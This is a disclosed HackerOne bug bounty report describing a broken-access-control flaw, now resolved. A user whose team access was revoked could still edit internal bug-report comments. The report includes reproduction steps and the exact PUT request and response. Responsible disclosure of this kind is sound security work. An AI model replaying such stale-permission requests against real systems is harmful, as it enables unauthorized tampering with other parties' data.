User with Read-Only permissions can edit the Internal comment Activities on Bug Reports After Revoke the team access permissions

Disclosed: 2016-04-01 10:56:51 By techguynoob To security
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Vulnerability Details
Poc : 1.Login into Program(testbug) as Alice account 2.Create a new group with "Read-only" Permission . Add a Bob to that group 3.Bob report a bug to Program(testbug) After Post "Some Internal comments" 4.Now Alice Revoke the Bob team access permissions so `Bob is no longer part of the team` 5.Bob escalate his privileges to edit the Internal comment Activities on Bug Reports by following Request PUT /activities/815794 HTTP/1.1 Host: hackerone.com Connection: close Content-Length: 402 Accept: application/json, text/javascript, */*; q=0.01 Origin: https://hackerone.com <redacted> {"id":815794,"is_internal":true,"editable":true,"type":"Activities::Comment","message":"bugtested","markdown_message":"<p>bugtested</p>\n","automated_response":false,"created_at":"2016-02-28T02:51:41.488Z","updated_at":"2016-02-28T02:51:41.488Z","actor":{"username":"Bob","url":"https://hackerone.com/Bob","profile_picture_urls":{"medium":"/assets/avatars/default-9e818ea07a7aa609d7d6dfa75612832e.png"}}} Response : HTTP/1.1 200 OK Server: cloudflare-nginx Date: Sun, 28 Feb 2016 02:53:28 GMT Content-Type: application/json; charset=utf-8 Connection: close Status: 200 OK <redacted> {"id":815794,"is_internal":true,"editable":true,"type":"Activities::Comment","message":"bugtested","markdown_message":"\u003cp\u003ebugtested\u003c/p\u003e\n","automated_response":false,"created_at":"2016-02-28T02:51:41.488Z","updated_at":"2016-02-28T02:53:28.728Z","actor":{"username":"Bob","url":"https://hackerone.com/Bob","profile_picture_urls":{"medium":"/assets/avatars/default-9e818ea07a7aa609d7d6dfa75612832e.png"}}} Regards, techguynoob
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  • Report ID: 119221
  • State: Closed
  • Substate: resolved
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